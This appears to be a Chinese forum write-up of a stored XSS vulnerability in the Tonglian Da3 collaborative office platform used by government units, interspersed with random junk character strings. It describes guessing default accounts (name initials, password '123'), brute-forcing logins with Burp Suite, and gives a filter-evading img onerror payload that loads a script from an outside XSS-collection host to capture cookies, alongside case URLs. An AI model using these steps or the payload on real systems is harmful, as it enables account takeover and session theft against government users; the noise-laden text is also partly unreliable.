同联Da3协同办公平台后台通用储存型xss漏洞

admin

) J4 J' y8 z0 H& }! Y8 Z % M$ D' r, [0 b! M5 x $ r1 u; ]+ w7 `7 F/ w$ P& p& e ! }& E2 }+ Y7 n- z ( @5 r% a9 f2 c: ~3 V0 Y+ e, e / v9 U! ~6 y5 G2 @: A ( x8 D) w2 p. |# q5 w8 } & A4 X5 j; e/ r: }* [) h4 m t

% v; E/ a+ d/ ] 同联Da3协同办公平台后台通用储存型xss漏洞 ; l: a% |$ I3 t

# P( B8 m) S, A9 V: h

. h8 a, x5 L4 i! d: w4 F; c 平台简介：

  & Y( G! s, _6 A% ?' F

% n# h6 I- q- L

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
* [ v% B3 u# o: ~( C; e同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ o9 }5 H0 ^$ C7 t& p

 

$ w5 l: |' T' t

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

% k6 z3 |( ~4 A/ t p$ T/ A

 

+ V! k* l0 A8 ]: ?8 N0 u

http://1.1.1.1:7197/cap-aco/#（案例2-）

http://www.XXOO.com （案例1-官网网站）

6 p# q& v3 z5 U) P 漏洞详情: + k0 t4 d2 X. E, E/ S |1 X/ u

 案例一、 : H4 \8 L0 ^6 H# I3 y8 O

4 {0 ]2 w/ w/ Q7 ?; }5 t

5 ~, [! N; P& W9 b9 }9 n/ u 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 ' s3 E) r+ G8 m; d6 G

% Q4 I, r$ m! k8 U# ?0 m Z9 [      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

1 @" s9 [6 U% i1 h, D- v

4 \: f% @ O! x0 D& m6 y) N   # [3 q4 g* h) P: i. t

`0 [8 B, I; S# J3 [$ x/ a

1 ]$ R' {3 x h1 x3 K1 F$ s9 u

status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

) }& L3 ~ ^0 e. e+ g/ N

 

$ w- [# y: ~, ?" o+ W: c

0 j. Y; n- Y6 Z+ A' C3 F, Q 然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

  $ U5 T: l0 q. k' T& u

& H T h1 Q" t6 e9 E

% D/ a. C' j3 @5 Q0 r <img src=x 9 ^+ y( r! v" w( Monerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图： - [ M1 m4 T, j1 }

3 ^2 z: ~ o; E1 f

! B5 o7 Q6 n! x% j8 m

* L3 K; u+ M; {; L4 L

" K5 f: f% a- p1 G( V8 J' N9 f4 r 然后发送，接收cookie如图：

) h8 F! M4 l* v

8 Q% U9 F+ I2 v2 j% C  

, h i0 a# ?, W; Z7 ?2 u   + N+ q' _& b/ L) G" d! C& _

  + q' L6 g5 U2 z |& z( b

5 e. X$ m. [% ]: z6 Z6 q; M

 

: {; l) d8 N4 F2 Q) s- I

; l& C# n9 S+ C& ^

, ^7 c3 F0 y5 o- ~ & B* K+ q( o* O' I7 K; M

3 `' ^8 f4 M& V& l a0 g

 

案例2、

* ?% X4 X/ f: Z" K3 C6 j 前面步骤都一样，下面看效果图：

* w- c! |8 j" N) N7 F

/ t( T3 w& [1 L1 ]& i

% h0 K g) L+ k+ A+ i( B% K

 

/ V/ Y+ D s7 c! Z( v/ |

% r8 w$ ]4 d0 B( Z l# L   # U# J8 u1 E$ h* p

, Q' R/ j& ]7 ^9 r( ]8 |

( G+ ~" B$ O4 E

5 z/ f! ^& @$ C. g/ s- c! r

 

  7 ]. n2 W9 ^9 `6 a4 p8 N! m

- F- H; u0 T1 S, P9 r$ G

  " q( n2 F9 R$ G+ S- o7 R

7 w; }+ A; m$ k5 o, m. U

  ; e) u* V; K" e# m$ Q

8 ]3 p; D8 ^$ E6 ^" M# ?% Z6 ]